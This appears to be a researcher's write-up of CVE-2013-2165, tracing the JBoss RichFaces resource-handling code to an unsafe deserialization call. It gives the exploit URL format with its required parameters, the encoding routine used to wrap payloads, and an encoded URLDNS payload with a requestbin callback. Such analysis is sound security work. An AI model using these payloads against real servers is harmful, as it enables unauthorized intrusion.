# CVE-2013-2165

Author: lamnc2

Github: kiven7299

## Description

> ResourceBuilderImpl.java in the RichFaces 3.x through 5.x implementation in Red Hat JBoss Web Framework Kit before 2.3.0, Red Hat JBoss Web Platform through 5.2.0, Red Hat JBoss Enterprise Application Platform through 4.3.0 CP10 and 5.x through 5.2.0, Red Hat JBoss BRMS through 5.3.1, Red Hat JBoss SOA Platform through 4.3.0 CP05 and 5.x through 5.3.1, Red Hat JBoss Portal through 4.3 CP07 and 5.x through 5.2.2, and Red Hat JBoss Operations Network through 2.4.2 and 3.x through 3.1.2 does not restrict the classes for which deserialization methods can be called, which allows remote attackers to execute arbitrary code via crafted serialized data.
>
> nvd.nist.gov

## Find vulnerable entry point

As a method provided by @tint0

> Getting some info about the CVE through the Richfaces developer's blog at http://www.bleathem.ca/blog/richfaces-security-advisory-cve-2013-2165/ and see that the bug is fixed in Richfaces 4.3.3.
>
> Make a diff between the two Richfaces 4.3.3 and 4.3.2 to find the vulnerable code. We could see that the only difference in the diff is a code change fixing deserialization issue.

The vulnerability is located in `org.RichFacess.util.Util#DecodeObjectData`:

```
146     public static Object decodeObjectData(String encodedData) {
147         byte[] objectArray = decodeBytesData(encodedData);
148
149         try {
150             ObjectInputStream in = new ObjectInputStreamImpl(new ByteArrayInputStream(
151             return in.readObject();
152         } catch (StreamCorruptedException var3) {
153             RESOURCE_LOGGER.error(Messages.getMessage( name: "STREAM_CORRUPTED_ERROR")
154         } catch (IOException var4) {
155             RESOURCE_LOGGER.error(Messages.getMessage( name: "DESERIALIZE_DATA_INPUT_E
156         } catch (ClassNotFoundException var5) {
157             RESOURCE_LOGGER.error(Messages.getMessage( name: "DATA_CLASS_NOT_FOUND_ERR
158         }
159
160         return null;
161     }
```

# Reach the vulnerable entry point

## Examine data flow

1. Requests for resources always pass through `org.RichFacess.resource.ResourceHandlerImpl#handleResourceRequest`

```
105     public void handleResourceRequest(FacesContext context) throws IOException {  context: FacesContextImpl
106         if (this.isThisHandlerResourceRequest(context)) {
107             ResourceCodec resourceCodec = (ResourceCodec)ServiceTracker.getService(context, ResourceCodec.c
108             String resourcePath = getResourcePathFromRequest(context);  resourcePath: "buttonHoverBackgroun
109
110             assert resourcePath != null && resourcePath.length() != 0;
111
112             ResourceRequestData data = resourceCodec.decodeResource(context, resourcePath);  data: DefaultC
113
114             assert data != null;
115
116             Cache cache = (Cache)ServiceTracker.getService(context, Cache.class);  cache: CacheProvider@457
117             Resource resource = this.lookupInCache(cache, data.getResourceKey());  cache: CacheProvider@457
118             if (resource == null) {
119                 resource = this.resourceFactory.createResource(context, data);
120             }
121
122             if (resource == null) {
123                 sendResourceNotFound(context);
```

1. **Line 108** calls `org.RichFacess.resource.ResourceHandlerImpl#getResourcePathFromRequest`

```java
public static String getResourcePathFromRequest(FacesContext context) {
        String resourceName = Util.decodeResourceURL(context);
        if (resourceName != null) {
            return resourceName.startsWith("/rfRes/") ? resourceName.substring("/rfRes/".length()) : null;
        } else {
            LOGGER.warn("Resource key not found" + resourceName);
            return null;
        }
    }
```

**Requirement 1**: Uri for resource in format `/rfRes/<resource name>`

2. **Line 119** calls `org.RichFacess.resource.ResourceFactoryImpl#createReource` if the `resource` variable is null - doesn't exist in cache (it usually doesn't).

```
214    public Resource createResource(FacesContext context, ResourceRequestData resourceData) {
215        String resourceName = resourceData.getResourceName();  resourceName: "buttonHoverBackgro
216        if (resourceName != null && resourceName.length() != 0) {
217            String libraryName = resourceData.getLibraryName();  libraryName: "org.richfaces.ima
218            Resource resource = this.createDynamicResource(new ResourceKey(resourceName, library
219            if (resource == null) {
220                this.logMissingResource(context, resourceData.getResourceKey());
221                return null;
222            } else {
223                if (resource instanceof VersionedResource) {
224                    VersionedResource versionedResource = (VersionedResource)resource;  resource
225                    String existingVersion = versionedResource.getVersion();
226                    String requestedVersion = resourceData.getVersion();
227                    if (LOGGER.isDebugEnabled()) {
228                        LOGGER.debug(MessageFormat.format( pattern: "Client requested {0} version
229                    }
230
231                    if (existingVersion != null && requestedVersion != null && !existingVersion.
232                        this.logResourceProblem(context, (Throwable)null,  messagePattern: "Resourc
233                        return null;
234                    }
235                }
236
237                Object decodedData = resourceData.getData();  resourceData: DefaultCodecResource
238                if (LOGGER.isDebugEnabled()) {
239                    if (decodedData != null) {
```

1. **Line 218** calls `org.RichFacess.resource.ResourceFactoryImpl#createDynamicReource`

```
214    public Resource createResource(FacesContext context, ResourceRequestData resourceData) {
215        String resourceName = resourceData.getResourceName();  resourceName: "buttonHoverBack
216        if (resourceName != null && resourceName.length() != 0) {
217            String libraryName = resourceData.getLibraryName();  libraryName: "org.richfaces.
218            Resource resource = this.createDynamicResource(new ResourceKey(resourceName, libra
219            if (resource == null) {  resource: null
220                this.logMissingResource(context, resourceData.getResourceKey());  context: Fac
221                return null;
222            } else {
```

**Requirement 2**: The resource name provided in uri as `/rfRes/<resource name>` **must exist**.

Look at the method, we can see that it use `libraryName` and `resourceName` to check whether it matches a key in `ResourceFactoryImpl.mappedResourceDataMap`:

```
"org.richfaces.images:chevronDown.png" -> {ResourceFactory
"org.richfaces.images:triangleLeftDisabled.png" -> {ResourceF
"org.richfaces.images:buttonHoverBackgroundImage.png" ->
"org.richfaces.images:chevronDownDisabled.png" -> {Resour
"org.richfaces.images:chevronLeft.png" -> {ResourceFactoryIn
"org.richfaces.images:triangle.png" -> {ResourceFactoryImpl$
"org.richfaces.images:chevronDisabled.png" -> {ResourceFact
"org.richfaces.images:inputBackgroundImage.png" -> {Resou
"org.richfaces.images:buttonBackgroundImage.png" -> {Reso
"org.richfaces.images:buttonDisabledBackgroundImage.png"
"org.richfaces.images:triangleUpDisabled.png" -> {ResourceFa
"org.richfaces.images:disc.png" -> {ResourceFactoryImpl$Map
"org.richfaces.images:chevronUpDisabled.png" -> {ResourceF
"org.richfaces.images:inputErrorIcon.png" -> {ResourceFactory
"org.richfaces.images:triangleDownDisabled.png" -> {Resourc
"org.richfaces.images:triangleUp.png" -> {ResourceFactoryImp
"org.richfaces.images:chevronLeftDisabled.png" -> {Resource
"org.richfaces.images:gridDisabled.png" -> {ResourceFactory
"org.richfaces.images:triangleDisabled.png" -> {ResourceFact
```

- `resourceName` is `<resource name>`
- `libraryName` is the value of parameter `ln`.

  **Requirement 3:** provide parameter `ln=org.richfaces.images`

  So as to have existed resource, we can provide `/chevronDown.png.jsf?ln=org.richfaces.images`.

2. **Line 237**. Method `org.RichFacess.resource.DefaultCodecResourceRequestData#getData` check if `this.isDataSerialized` is true, then call `Util#decodeObjectData`, which is **the vulnerable entry point**.

```
72      public Object getData() {
73          if (this.data == null && this.dataString != null) {
74              if (this.isDataSerialized()) {
75                  this.data = Util.decodeObjectData(this.dataString);
76              } else {
77                  this.data = Util.decodeBytesData(this.dataString);
78              }
79          }
80
81          return this.data;
82      }
83  }
```

Values for `isDataSerialized` and `dataString` are set by below function which is called in line 112 of `org.RichFacess.resource.ResourceHandlerImpl#handleResourceRequest`:

```
105     public void handleResourceRequest(FacesContext context) throws IOException {  context: FacesContextImpl
106         if (this.isThisHandlerResourceRequest(context)) {
107             ResourceCodec resourceCodec = (ResourceCodec)ServiceTracker.getService(context, ResourceCodec.c
108             String resourcePath = getResourcePathFromRequest(context);  resourcePath: "buttonHoverBackgroun
109
110             assert resourcePath != null && resourcePath.length() != 0;
111
112             ResourceRequestData data = resourceCodec.decodeResource(context, resourcePath);  data: DefaultC
113
114             assert data != null;
115
116             Cache cache = (Cache)ServiceTracker.getService(context, Cache.class);  cache: CacheProvider@457
117             Resource resource = this.lookupInCache(cache, data.getResourceKey());  cache: CacheProvider@457
118             if (resource == null) {
119                 resource = this.resourceFactory.createResource(context, data);
120             }
121
122             if (resource == null) {
123                 sendResourceNotFound(context);
```

```
public ResourceRequestData decodeResource(FacesContext context, String requestPath) {
    Map<String, String> params = context.getExternalContext().getRequestParameterMap();
    DefaultCodecResourceRequestData data = new DefaultCodecResourceRequestData( defaultRe
    data.setResourceName(requestPath);  requestPath: "buttonHoverBackgroundImage.png"
    data.setLibraryName((String)params.get("ln"));
    data.setVersion((String)params.get("v"));
    String objectDataString = (String)params.get("do");  objectDataString: "asf"
    if (objectDataString != null) {
        data.setDataString(objectDataString);  objectDataString: "asf"
        data.setDataSerialized(true);
    } else {
        data.setDataString((String)params.get("db"));  params:  size = 2
    }

    return data;  data: DefaultCodecResourceRequestData@11578
}
```

**Requirement 4**: Provide parameter `do=<serialized data>`

## Conclusion

Requirements:

- Uri must be in format `/rfRes/<resource name>`
  - `<resoure name>` can be one of these (and more):

```
"org.richfaces.images:chevronDown.png" -> {ResourceFactory
"org.richfaces.images:triangleLeftDisabled.png" -> {ResourceF
"org.richfaces.images:buttonHoverBackgroundImage.png" ->
"org.richfaces.images:chevronDownDisabled.png" -> {Resou
"org.richfaces.images:chevronLeft.png" -> {ResourceFactoryIm
"org.richfaces.images:triangle.png" -> {ResourceFactoryImpl$
"org.richfaces.images:chevronDisabled.png" -> {ResourceFact
"org.richfaces.images:inputBackgroundImage.png" -> {Resou
"org.richfaces.images:buttonBackgroundImage.png" -> {Resc
"org.richfaces.images:buttonDisabledBackgroundImage.png"
"org.richfaces.images:triangleUpDisabled.png" -> {ResourceF
"org.richfaces.images:disc.png" -> {ResourceFactoryImpl$Ma
"org.richfaces.images:chevronUpDisabled.png" -> {Resource
"org.richfaces.images:inputErrorIcon.png" -> {ResourceFactory
"org.richfaces.images:triangleDownDisabled.png" -> {Resourc
"org.richfaces.images:triangleUp.png" -> {ResourceFactoryImp
"org.richfaces.images:chevronLeftDisabled.png" -> {ResourceF
"org.richfaces.images:gridDisabled.png" -> {ResourceFactoryI
"org.richfaces.images:triangleDisabled.png" -> {ResourceFacto
```

- Provide parameter `ln=org.richfaces.images`
- Provide parameter `do=<serialized data>`

Payload:

```
/rfRes/chevronDown.png.jsf?ln=org.richfaces.images&do=<serialied object payload>
```

# Exploit

## Craft payload

In JBoss RichFaces 's deserialization procedure, there is a decryption phrase

```
118 @   protected static byte[] decrypt(byte[] src) {
119         try {
120             byte[] zipsrc = CODEC.decode(src);
121             Inflater decompressor = new Inflater();
122             byte[] uncompressed = new byte[zipsrc.length * 5];
123             decompressor.setInput(zipsrc);
124             int totalOut = decompressor.inflate(uncompressed);
125             byte[] out = new byte[totalOut];
126             System.arraycopy(uncompressed, srcPos: 0, out, destPos: 0, totalOut);
127             decompressor.end();
128             return out;
129         } catch (Exception var6) {
130             throw new FacesException("Error decode resource data", var6);
131         }
132     }
133
134     public static byte[] decodeBytesData(String encodedData) {
135         byte[] objectArray = null;
136
137         try {
138             byte[] dataArray = encodedData.getBytes( charsetName: "ISO-8859-1");
139             objectArray = decrypt(dataArray);
140         } catch (UnsupportedEncodingException var3) {
141         }
142
143         return objectArray;
144     }
145
146     public static Object decodeObjectData(String encodedData) {
147         byte[] objectArray = decodeBytesData(encodedData);
148
149         try {
150             ObjectInputStream in = new ObjectInputStreamImpl(new ByteArrayInputStream(objectA
151             return in.readObject();
152         } catch (StreamCorruptedException var3) {
153             RESOURCE_LOGGER.error(Messages.getMessage( name: "STREAM_CORRUPTED_ERROR"), var3)
```

This means the string representing serialized object is encrypted; Thus, we have to perform appropriate method of encryption. Fortunately, `org.richfaces.util.Util` class defines the encrypting functions so that we can reuse them.

```
protected static byte[] encrypt(byte[] src) {
        try {
            Deflater compressor = new Deflater(1);
            byte[] compressed = new byte[src.length + 100];
```

```java
            compressor.setInput(src);
            compressor.finish();
            int totalOut = compressor.deflate(compressed);
            byte[] zipsrc = new byte[totalOut];
            System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
            compressor.end();
            return CODEC.encode(zipsrc);
        } catch (Exception var5) {
            throw new FacesException("Error encode resource data", var5);
        }
    }

public static String encodeBytesData(byte[] data) {
        if (data != null) {
            try {
                byte[] dataArray = encrypt(data);
                return new String(dataArray, "ISO-8859-1");
            } catch (Exception var2) {
RESOURCE_LOGGER.error(Messages.getMessage("QUERY_STRING_BUILDING_ERROR"), var2);
            }
        }

        return null;
    }
```

In terms of exploiting Insecure Deserialization, we use **URLDNS** chain consulted from [ysoserial](). This chain exploit deserialization vulnerability to make `url` request:

> // DNS Gadget Chain:
> java.util.HashMap.readObject()
> java.util.HashMap.putVal( HashMap.hash() )
> java.net.URL.hashCode(String url)

Code for generating payload:

[https://github.com/kiven7299/Java-Deserialization/blob/master/CVE-2013-2165/payload_generator/src/main/java/PayloadGenerator.java]()

Snapshot:

```
"C:\Program Files\Java\jdk1.8.0_211\bin\java.exe" ...
generating payload object(s) for command: 'https://.e301d785133ebbebd5a3.d.requestbin.net'
serializing payload
Payload: eAGNjjFOw0AQRQccKw5KARQU9FCuiawQBAVIkSIsmQZEzzq7yRqtvJvZMTgNx-AUXAJxAtrUtNwACdaWD8CXZvS
 -gyfA58nvXz5aXDVtZKYnd32avR5PTw58vDKCfQqS8fGqETKFnDVIGA16RMljQmmA
 !a4qx5uUyviMsyuVFBr1FoeUKXiDwrIyjjiOLhszc6O4OUC5arO1vF4JjJpOTkZicjUdJIvNc5mLMEyYYylUlHeVFyfyfBN

Process finished with exit code 0
```

## PoC

https://drive.google.com/open?id=1Nd1sjFW731cMffUiBgl_UtOMJQV5UFaJ